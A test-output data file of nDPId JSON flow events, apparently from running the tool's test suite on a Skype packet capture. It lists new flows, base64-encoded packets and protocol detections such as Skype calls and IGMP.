+00428{"flow_id":96,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":705,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969664,"pkt_ts_usec":405843,"pkt_caplen":69,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":69,"pkt_l4_len":35,"pkt":"0NQSxnP1PBXCt3IOCABFAAA3zjoAAEARkxnAqAEiQAQXlDLdnEoAI3yfnAQC5t7RxPpucIQEcbOpo3n\/i37I7X5QLz7O"} +00513{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":705,"source":"skype.pcap","alias":"nDPId-test","flow_id":96,"flow_packet_id":1,"flow_first_seen":1431969664405,"flow_last_seen":0,"flow_tot_l4_data_len":35,"flow_min_l4_data_len":35,"flow_max_l4_data_len":35,"flow_avg_l4_data_len":35,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"64.4.23.148","src_port":13021,"dst_port":40010,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":706,"source":"skype.pcap","alias":"nDPId-test","flow_id":97,"flow_packet_id":1,"flow_first_seen":1431969664405,"flow_last_seen":0,"flow_tot_l4_data_len":35,"flow_min_l4_data_len":35,"flow_max_l4_data_len":35,"flow_avg_l4_data_len":35,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.77.148","src_port":13021,"dst_port":40029,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00427{"flow_id":97,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":706,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969664,"pkt_ts_usec":405843,"pkt_caplen":69,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":69,"pkt_l4_len":35,"pkt":"0NQSxnP1PBXCt3IOCABFAAA3gRQAAEARembAqAEib91NlDLdnF0AI32wnAYCAtkwZfUpvy0PrMgHjjv7gkQ5J07OrfdX"} +00516{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":706,"source":"skype.pcap","alias":"nDPId-test","flow_id":97,"flow_packet_id":1,"flow_first_seen":1431969664405,"flow_last_seen":0,"flow_tot_l4_data_len":35,"flow_min_l4_data_len":35,"flow_max_l4_data_len":35,"flow_avg_l4_data_len":35,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.77.148","src_port":13021,"dst_port":40029,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":707,"source":"skype.pcap","alias":"nDPId-test","flow_id":98,"flow_packet_id":1,"flow_first_seen":1431969664405,"flow_last_seen":0,"flow_tot_l4_data_len":33,"flow_min_l4_data_len":33,"flow_max_l4_data_len":33,"flow_avg_l4_data_len":33,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.77.141","src_port":13021,"dst_port":40020,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00428{"flow_id":98,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":707,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969664,"pkt_ts_usec":405843,"pkt_caplen":67,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":67,"pkt_l4_len":33,"pkt":"0NQSxnP1PBXCt3IOCABFAAA1GOEAAEAR4qLAqAEib91NjTLdnFQAIf21nAgChdWCG2VT3PvRM4JN\/HMVRe1geqFvmA=="} +00516{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":707,"source":"skype.pcap","alias":"nDPId-test","flow_id":98,"flow_packet_id":1,"flow_first_seen":1431969664405,"flow_last_seen":0,"flow_tot_l4_data_len":33,"flow_min_l4_data_len":33,"flow_max_l4_data_len":33,"flow_avg_l4_data_len":33,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.77.141","src_port":13021,"dst_port":40020,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00424{"flow_id":19,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":708,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969664,"pkt_ts_usec":812764,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0HPFAADcGRLBBN98hwKgBIgG7w24uYYI6XFDkhIARAB0PDgAAAQEICk2XsRI+IpIH"} +00456{"flow_id":65,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":709,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969664,"pkt_ts_usec":990164,"pkt_caplen":90,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":90,"pkt_l4_len":56,"pkt":"0NQSxnP1PBXCt3IOCABFAABMCKZAAEAGUHjAqAEinTeCjMN2AbvInJlHrpWZfIAYECxNrQAAAQEICj4i40JOvfadOsfzaffo90GU9fGuBRpgbZPEZs9Bzxti"} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":710,"source":"skype.pcap","alias":"nDPId-test","flow_id":99,"flow_packet_id":1,"flow_first_seen":1431969664990,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.167","src_port":50045,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00441{"flow_id":99,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":710,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969664,"pkt_ts_usec":990501,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAI3tAAEAGNZTAqAEinTeCp8N9Abt3wuHVAAAAALAC\/\/8VHgAAAgQFtAEDAwUBAQgKPiLjQgAAAAAEAgAA"} +00436{"flow_id":87,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":711,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969664,"pkt_ts_usec":999307,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8zB1AAEAGjPXAqAEinTeCp8N8nF+W1hdKgdGcA4AYEClFqAAAAQEICj4i40tOq7X7zDi7upn8y1s="} +00432{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":712,"source":"skype.pcap","alias":"nDPId-test","flow_id":100,"flow_packet_id":1,"flow_first_seen":1431969665006,"flow_last_seen":0,"flow_tot_l4_data_len":8,"flow_min_l4_data_len":8,"flow_max_l4_data_len":8,"flow_avg_l4_data_len":8,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.92","dst_ip":"224.0.0.251","l4_proto":2,"flow_datalink":1,"flow_max_packets":15} +00413{"flow_id":100,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":712,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969665,"pkt_ts_usec":6027,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":38,"pkt_len":60,"pkt_l4_len":8,"pkt":"PBXCt3IOxCwDBkn+CABGAAAgivAAAAEC9ufAqAFc4AAA+5QEAAAWAAkE4AAA+wAAAAAAAAAAAAAAAAAA"} +00464{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":712,"source":"skype.pcap","alias":"nDPId-test","flow_id":100,"flow_packet_id":1,"flow_first_seen":1431969665006,"flow_last_seen":0,"flow_tot_l4_data_len":8,"flow_min_l4_data_len":8,"flow_max_l4_data_len":8,"flow_avg_l4_data_len":8,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.92","dst_ip":"224.0.0.251","l4_proto":2,"ndpi": {"proto":"IGMP","breed":"Acceptable","category":"Network"}} +00435{"flow_id":99,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":713,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969665,"pkt_ts_usec":118447,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8AABAADcGYhOdN4KnwKgBIgG7w31xB6fgd8Lh1qASOJDOhQAAAgQFrAQCCApOq7dsPiLjQgEDAwk="} +00423{"flow_id":99,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":714,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969665,"pkt_ts_usec":118524,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0H2lAAEAGObLAqAEinTeCp8N9Abt3wuHWcQen4YAQECwlMAAAAQEICj4i48JOq7ds"} +00522{"flow_id":99,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":715,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969665,"pkt_ts_usec":118638,"pkt_caplen":138,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":138,"pkt_l4_len":104,"pkt":"0NQSxnP1PBXCt3IOCABFAAB8rbhAAEAGqxrAqAEinTeCp8N9Abt3wuHWcQen4YAYECxvXwAAAQEICj4i48JOq7dsgEYBAwEALQAAABAAAAUAAAQAAAoAAAkAAGQAAGIAAAgAAAMAAAYBAIAHAMADAIAGAEACAIAEAIAm3wSlkltQgb6XXB2qkyh5"} +00678{"flow_id":18,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":716,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969665,"pkt_ts_usec":196483,"pkt_caplen":251,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":251,"pkt_l4_len":217,"pkt":"0NQSxnP1PBXCt3IOCABFAADtt4xAAEAGh0DAqAEiF84hpsNtAbuewXpuGKHN44AYECyk4QAAAQEICj4i5A\/sLkk6FgMBALQBAACwAwNVWh9r1BitCFD8cZbUoP0jV12FHPzKsJViTeYgJXwI\/wAASgD\/wCTAI8AKwAnACMAowCfAFMATwBLAJsAlwAXABMADwCrAKcAPwA7ADQBrAGcAOQAzABYAPQA8ADUALwAKwAfAEcACwAwABQAEAQAAPQAAABMAEQAADmFwcHMuc2t5cGUuY29tAAoACAAGABcAGAAZAAsAAgEAAA0ADAAKBQEEAQIBBAMCAzN0AAA="} +00423{"flow_id":99,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":717,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969665,"pkt_ts_usec":245288,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0EG1AADcGUa6dN4KnwKgBIgG7w31xB6fhd8LiHoAQAB001gAAAQEICk6rt40+IuPC"} +00482{"flow_id":99,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":718,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969665,"pkt_ts_usec":245407,"pkt_caplen":107,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":107,"pkt_l4_len":73,"pkt":"0NQSxnP1PBXCt3IOCABFAABdGotAAEAGPmfAqAEinTeCp8N9Abt3wuIecQen4YAYECwyVgAAAQEICj4i5D9Oq7eNha\/REPk0JK+jyXRvQAnIdnOzfqInh3kQnO9afU+VElpw2DvgAIcm25w="} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":719,"source":"skype.pcap","alias":"nDPId-test","flow_id":101,"flow_packet_id":1,"flow_first_seen":1431969665416,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.150","src_port":50046,"dst_port":40011,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":101,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":719,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969665,"pkt_ts_usec":416513,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABA9S9AAEAGY\/DAqAEinTeClsN+nEtADbnoAAAAALAC\/\/\/YlwAAAgQFtAEDAwUBAQgKPiLk6gAAAAAEAgAA"} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":720,"source":"skype.pcap","alias":"nDPId-test","flow_id":102,"flow_packet_id":1,"flow_first_seen":1431969665416,"flow_last_seen":0,"flow_tot_l4_data_len":33,"flow_min_l4_data_len":33,"flow_max_l4_data_len":33,"flow_avg_l4_data_len":33,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.24","src_port":13021,"dst_port":40032,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00429{"flow_id":102,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":720,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969665,"pkt_ts_usec":416714,"pkt_caplen":67,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":67,"pkt_l4_len":33,"pkt":"0NQSxnP1PBXCt3IOCABFAAA1j8QAAEARCNrAqAEiQTffGDLdnGAAISuNnAoCfsB5JB\/rTYpH1Pyy3TEn61xOyU3n6Q=="} +00515{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":720,"source":"skype.pcap","alias":"nDPId-test","flow_id":102,"flow_packet_id":1,"flow_first_seen":1431969665416,"flow_last_seen":0,"flow_tot_l4_data_len":33,"flow_min_l4_data_len":33,"flow_max_l4_data_len":33,"flow_avg_l4_data_len":33,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.24","src_port":13021,"dst_port":40032,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":721,"source":"skype.pcap","alias":"nDPId-test","flow_id":103,"flow_packet_id":1,"flow_first_seen":1431969665416,"flow_last_seen":0,"flow_tot_l4_data_len":43,"flow_min_l4_data_len":43,"flow_max_l4_data_len":43,"flow_avg_l4_data_len":43,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.56.175","src_port":13021,"dst_port":40013,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":103,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":721,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969665,"pkt_ts_usec":416715,"pkt_caplen":77,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":77,"pkt_l4_len":43,"pkt":"0NQSxnP1PBXCt3IOCABFAAA\/Ev0AAEAR0ADAqAEinTc4rzLdnE0AK5vynAwCv2wYRcgby0Lpb\/j9BzqAbRO\/1tuxNgazREl3CBLvd3M="} +00516{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":721,"source":"skype.pcap","alias":"nDPId-test","flow_id":103,"flow_packet_id":1,"flow_first_seen":1431969665416,"flow_last_seen":0,"flow_tot_l4_data_len":43,"flow_min_l4_data_len":43,"flow_max_l4_data_len":43,"flow_avg_l4_data_len":43,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.56.175","src_port":13021,"dst_port":40013,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":722,"source":"skype.pcap","alias":"nDPId-test","flow_id":104,"flow_packet_id":1,"flow_first_seen":1431969665416,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"64.4.23.146","src_port":13021,"dst_port":33033,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00425{"flow_id":104,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":722,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969665,"pkt_ts_usec":416767,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0pwAAAEARuljAqAEiQAQXkjLdgQkAIJb3nA4CpT3k+\/yRRYMAziIEiKPZ4SNw4uYJ"} +00514{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":722,"source":"skype.pcap","alias":"nDPId-test","flow_id":104,"flow_packet_id":1,"flow_first_seen":1431969665416,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"64.4.23.146","src_port":13021,"dst_port":33033,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":723,"source":"skype.pcap","alias":"nDPId-test","flow_id":105,"flow_packet_id":1,"flow_first_seen":1431969665416,"flow_last_seen":0,"flow_tot_l4_data_len":34,"flow_min_l4_data_len":34,"flow_max_l4_data_len":34,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.56.145","src_port":13021,"dst_port":40027,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00428{"flow_id":105,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":723,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969665,"pkt_ts_usec":416767,"pkt_caplen":68,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":68,"pkt_l4_len":34,"pkt":"0NQSxnP1PBXCt3IOCABFAAA2ZQAAAEARfiTAqAEinTc4kTLdnFsAImkAnBACXCxecPPKFtdeUw7sQSBvp3gi9mq4vcM="} +00516{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":723,"source":"skype.pcap","alias":"nDPId-test","flow_id":105,"flow_packet_id":1,"flow_first_seen":1431969665416,"flow_last_seen":0,"flow_tot_l4_data_len":34,"flow_min_l4_data_len":34,"flow_max_l4_data_len":34,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.56.145","src_port":13021,"dst_port":40027,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":724,"source":"skype.pcap","alias":"nDPId-test","flow_id":106,"flow_packet_id":1,"flow_first_seen":1431969665416,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.43","src_port":13021,"dst_port":40001,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00441{"flow_id":106,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":724,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969665,"pkt_ts_usec":416768,"pkt_caplen":76,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":76,"pkt_l4_len":42,"pkt":"0NQSxnP1PBXCt3IOCABFAAA+hGcAAEARenXAqAEib91KKzLdnEEAKumHnBICbsOSISjTImKbV\/UiCWod5a6w5EFlZL740jo5mcYkgQ=="} +00516{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":724,"source":"skype.pcap","alias":"nDPId-test","flow_id":106,"flow_packet_id":1,"flow_first_seen":1431969665416,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.43","src_port":13021,"dst_port":40001,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00436{"flow_id":101,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":726,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969665,"pkt_ts_usec":632166,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8AABAADcGYiSdN4KWwKgBIpxLw35DcUQuQA256aASOJA7FQAAAgQFrAQCCApOt5+TPiLk6gEDAwk="} +00424{"flow_id":101,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":727,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969665,"pkt_ts_usec":632245,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0tVZAAEAGo9XAqAEinTeClsN+nEtADbnpQ3FEL4AQECyRaAAAAQEICj4i5cFOt5+T"} +00532{"flow_id":101,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":728,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969665,"pkt_ts_usec":632843,"pkt_caplen":143,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":143,"pkt_l4_len":109,"pkt":"0NQSxnP1PBXCt3IOCABFAACBua5AAEAGnzDAqAEinTeClsN+nEtADbnpQ3FEL4AYECwSIgAAAQEICj4i5cFOt5+T207BU8RTpz6cl51LKBWtARK9wP6VlGI4+stPzH0uYPT1Iirrs3Q6E000sIWPSE+TE6j51s80FUJLgPFuh4yNWoNY6QY\/5AVyuzDhnvc="} +00524{"flow_id":64,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":729,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969665,"pkt_ts_usec":669983,"pkt_caplen":136,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":136,"pkt_l4_len":102,"pkt":"0NQSxnP1PBXCt3IOCABFAAB6TMBAAEAGVhLAqAEinTc4qsN1AbtlArNVviBnW4AYECzajwAAAQEICj4i5eZNea82lrtEvF7Syi3sYudbWmm1LLmltdXITy9EZvRGZ4\/xmZ+XSmldmKNIhY33FGOH7bkZm8kH56oaXL6ossqblsc6QCTpmqw22A=="} +00424{"flow_id":101,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":730,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969665,"pkt_ts_usec":759798,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA02+ZAADcGhkWdN4KWwKgBIpxLw35DcUQvQA26NoAQAB2g9AAAAQEICk63n8k+IuXB"} +00573{"flow_id":101,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":731,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969665,"pkt_ts_usec":762442,"pkt_caplen":172,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":172,"pkt_l4_len":138,"pkt":"PBXCt3IO0NQSxnP1CABFAACe2+dAADcGhdqdN4KWwKgBIpxLw35DcUQvQA26NoAYAB2UyQAAAQEICk63n8o+IuXBLs4DEhcA3OEIs7TyrcrmsaytU+n4vERmAhfzXpkqP3u21VlCNGmFMmxx7Yf+wOsB8wjZNq+U9aIr4NHOZ+xtumO4yWYfROXSm5DB\/tecXerTaLmWj\/TVAgtAsS5HTE0aQxipxv+kxTJ78A=="} +00426{"flow_id":101,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":732,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969665,"pkt_ts_usec":762542,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0MrFAAEAGJnvAqAEinTeClsN+nEtADbo2Q3FEmYAQECiP\/gAAAQEICj4i5kFOt5\/K"} +00438{"flow_id":101,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":733,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969665,"pkt_ts_usec":763079,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA88\/VAAEAGZS7AqAEinTeClsN+nEtADbo2Q3FEmYAYECjdFgAAAQEICj4i5kFOt5\/KwFGYWtZyg7g="} +00482{"flow_id":99,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":734,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969665,"pkt_ts_usec":771502,"pkt_caplen":107,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":107,"pkt_l4_len":73,"pkt":"0NQSxnP1PBXCt3IOCABFAABdh01AAEAG0aTAqAEinTeCp8N9Abt3wuIecQen4YAYECwwTAAAAQEICj4i5klOq7eNha\/REPk0JK+jyXRvQAnIdnOzfqInh3kQnO9afU+VElpw2DvgAIcm25w="} +00496{"flow_id":71,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":735,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969666,"pkt_ts_usec":195715,"pkt_caplen":116,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":116,"pkt_l4_len":82,"pkt":"0NQSxnP1PBXCt3IOCABFAABmMmpAAEAGvObAqAEi1cezr8N3AbvoukrF6jj3F4AYECxIqAAAAQEICj4i5\/BO2zrq3Ik+3JoryHORYpUOodhZtdvbaLVaOrSVdhFGDoNFz\/ygR9NCUBkcRkZjFi6mIQWuXX4="} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":736,"source":"skype.pcap","alias":"nDPId-test","flow_id":107,"flow_packet_id":1,"flow_first_seen":1431969666429,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.44","src_port":13021,"dst_port":40013,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} 